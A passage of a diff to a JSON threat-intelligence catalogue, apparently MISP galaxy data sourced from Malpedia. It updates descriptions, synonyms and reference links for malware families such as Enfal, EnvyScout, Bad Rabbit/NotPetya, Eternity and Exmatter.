"https://attack.mitre.org/groups/G0096", - "https://www.mandiant.com/media/12596/download" + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.mandiant.com/media/12596/download", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick" ], "synonyms": [], "type": [] @@ -22188,12 +23566,12 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", - "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/", + "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://attack.mitre.org/groups/G0011", - "https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", + "https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/" ], "synonyms": [ "Lurid" @@ -22203,14 +23581,28 @@ "uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9", "value": "Enfal" }, + { + "description": "According to Trend Micro, this is a downloader, dedicated to stage execution of a second stage malware called Enigma Stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader", + "https://www.trendmicro.com/en_us/research/23/b/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7491f483-f3d2-4f90-be19-df1e3783f66f", + "value": "Enigma Loader" + }, { "description": "Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.entropy", "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [], @@ -22237,13 +23629,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.envyscout", - "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", - "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/", + "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", - "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/" + "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", + "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine" + ], + "synonyms": [ + "ROOTSAW" ], - "synonyms": [], "type": [] }, "uuid": "0890e245-319d-4291-8f49-21dbc9486181", @@ -22255,8 +23652,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red", "https://therecord.media/epsilonred-ransomware-group-hits-one-of-indias-financial-software-powerhouses/", - "https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/", "https://news.sophos.com/en-us/2021/05/28/epsilonred/" ], "synonyms": [ @@ -22273,22 +23670,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", - "https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ", "https://securelist.com/inside-the-equationdrug-espionage-platform/69203/", - "http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html" + "http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html", + "https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "3e0c2d35-87cb-40f9-b341-a6c8dbec697e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c4490972-3403-4043-9d61-899c0a440940", "value": "EquationDrug" }, @@ -22298,13 +23686,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup", "https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html", - "https://laanwj.github.io/2016/09/01/tadaqueos.html", - "https://laanwj.github.io/2016/08/28/feintcloud.html", - "https://laanwj.github.io/2016/09/13/blatsting-rsa.html", - "https://laanwj.github.io/2016/08/22/blatsting.html", - "https://laanwj.github.io/2016/09/23/seconddate-adventures.html", "https://laanwj.github.io/2016/09/11/buzzdirection.html", + "https://laanwj.github.io/2016/09/13/blatsting-rsa.html", + "https://laanwj.github.io/2016/09/23/seconddate-adventures.html", "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://laanwj.github.io/2016/08/28/feintcloud.html", + "https://laanwj.github.io/2016/09/01/tadaqueos.html", + "https://laanwj.github.io/2016/08/22/blatsting.html", "https://laanwj.github.io/2016/09/17/seconddate-cnc.html", "https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html" ], @@ -22315,10 +23703,13 @@ "value": "Equationgroup (Sorting)" }, { - "description": "", + "description": "Erbium is an information stealer advertised and sold as a Malware-as-a-Service on cybercrime forums and Telegram since at least July 2022. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer", + "https://blog.cluster25.duskrise.com/2022/09/15/erbium-stealer-a-new-infostealer", + "https://www.bleepingcomputer.com/news/security/new-erbium-password-stealing-malware-spreads-as-game-cracks-cheats/", + "https://twitter.com/sekoia_io/status/1577222282929311744", "https://twitter.com/abuse_ch/status/1565290110572175361" ], "synonyms": [], @@ -22398,8 +23789,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternalrocks", - "https://github.com/stamparm/EternalRocks", - "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/" + "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "https://github.com/stamparm/EternalRocks" ], "synonyms": [ "MicroBotMassiveNet" @@ -22410,74 +23801,78 @@ "value": "EternalRocks" }, { - "description": "", + "description": "According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims’ computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya", - "http://www.intezer.com/notpetya-returns-bad-rabbit/", - "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", - "https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/", - "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/", - "https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/", - "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/", "https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/", - "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://attack.mitre.org/groups/G0034", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html", - "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", - "https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html", - "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer", - "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", + "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", - "https://www.riskiq.com/blog/labs/badrabbit/", - "https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/", - "https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/", - "https://securelist.com/bad-rabbit-ransomware/82851/", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", - "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/", - "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/", - "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/", - "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://istari-global.com/spotlight/the-untold-story-of-notpetya/", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", - "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", - "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", - "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html", - "https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html", - "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html", "https://gvnshtn.com/maersk-me-notpetya/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", - "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", - "http://blog.talosintelligence.com/2017/10/bad-rabbit.html", "https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/", + "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", + "https://medium.com/@Ilandu/petya-not-petya-ransomware-9619cbbb0786", + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", + "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html", + "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", + "https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik", + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "http://www.intezer.com/notpetya-returns-bad-rabbit/", + "https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/", + "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/", + "https://securelist.com/from-blackenergy-to-expetr/78937/", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/", + "https://www.secureworks.com/research/threat-profiles/iron-viking", + "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/", + "https://securelist.com/bad-rabbit-ransomware/82851/", + "https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/", + "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer", + "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://therecord.media/mondelez-and-zurich-reach-settlement-in-notpetya-cyberattack-insurance-suit/", + "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", + "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://attack.mitre.org/groups/G0034", + "https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "http://blog.talosintelligence.com/2017/10/bad-rabbit.html", + "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", + "https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/", + "https://istari-global.com/spotlight/the-untold-story-of-notpetya/", "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/", - "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://www.riskiq.com/blog/labs/badrabbit/", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html", "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html", + "https://www.atlanticcouncil.org/content-series/tech-at-the-leading-edge/the-russian-cyber-unit-that-hacks-targets-on-site/", + "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", + "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b", "https://securelist.com/schroedingers-petya/78870/", + "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", + "https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", + "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/", - "https://securelist.com/from-blackenergy-to-expetr/78937/" + "https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html" ], "synonyms": [ "BadRabbit", @@ -22500,8 +23895,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", - "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/" + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", + "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], "type": [] @@ -22514,9 +23910,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/" + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], "type": [] @@ -22529,13 +23925,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer", - "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", "https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/", "https://twitter.com/3xp0rtblog/status/1509601846494695438", + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://ke-la.com/information-stealers-a-new-landscape/" + "https://securityintelligence.com/news/eternity-gang-ransomware-as-a-service-telegram/", + "https://blog.morphisec.com/nft-malware-new-evasion-abilities" ], "synonyms": [], "type": [] @@ -22548,9 +23947,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_worm", - "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/", "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/" + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", + "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], "type": [] @@ -22563,24 +23962,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", + "https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise", "https://www.secureworks.com/research/threat-profiles/bronze-globe", - "https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise" + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" ], "synonyms": [ "HighTide" ], "type": [] }, - "related": [ - { - "dest-uuid": "91583583-95c0-444e-8175-483cbebc640b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "91af1080-6378-4a90-ba1e-78634cd31efe", "value": "EtumBot" }, @@ -22589,8 +23979,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny", - "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope", + "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/" ], "synonyms": [], @@ -22599,6 +23989,20 @@ "uuid": "dc39dcdf-50e7-4d55-94a0-926853f344f3", "value": "Evilbunny" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilextractor", + "https://www.netresec.com/?page=Blog&month=2023-04&post=EvilExtractor-Network-Forensics", + "https://www.fortinet.com/blog/threat-research/evil-extractor-all-in-one-stealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e020212b-03ef-4168-97f5-bb72ff627d94", + "value": "EvilExtractor" + }, { "description": "", "meta": { @@ -22613,15 +24017,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "c9b4ec27-0a43-4671-a967-bcac5df0e056", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "438c6d0f-03f0-4b49-89d2-40bf5349c3fc", "value": "EvilGrab" }, @@ -22630,12 +24025,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum", - "https://github.com/eset/malware-ioc/tree/master/evilnum", - "https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions", - "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-cryptocurrency-forex-commodities", + "https://github.com/eset/malware-ioc/tree/master/evilnum", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions", "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", + "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://mp.weixin.qq.com/s/lryl3a65uIz1AwZcfuzp1A" ], "synonyms": [], @@ -22690,13 +24085,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://www.wired.com/story/sandworm-centreon-russia-hack/", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://attack.mitre.org/groups/G0034", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://attack.mitre.org/groups/G0034" ], "synonyms": [], "type": [] @@ -22704,6 +24099,19 @@ "uuid": "dd68abd7-b20a-40a5-be53-ae8d45c1dd27", "value": "Exaramel (Windows)" }, + { + "description": "ExByte is a custom data exfiltration tool and infostealer observed being used during BlackByte ransomware attacks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.exbyte", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "42f4fee9-a5c2-4643-be56-fba8700f835d", + "value": "ExByte" + }, { "description": "", "meta": { @@ -22726,8 +24134,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://github.com/nccgroup/Royal_APT" + "https://github.com/nccgroup/Royal_APT", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" ], "synonyms": [], "type": [] @@ -22753,8 +24161,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", "https://www.kroll.com/en/insights/publications/cyber/analyzing-exmatter-ransomware-data-exfiltration-tool", + "https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack", + "https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration", "https://twitter.com/knight0x07/status/1461787168037240834?s=20" ], "synonyms": [], @@ -22781,10 +24191,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro", - "https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro", + "https://youtu.be/3RYbkORtFnk", "https://github.com/GiacomoFerro/malware-analysis/blob/master/report/report-malware.pdf", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro" + "https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/" ], "synonyms": [ "Xpiro" @@ -22796,18 +24207,31 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" + ], + "synonyms": [], + "type": [] + }, + "uuid": 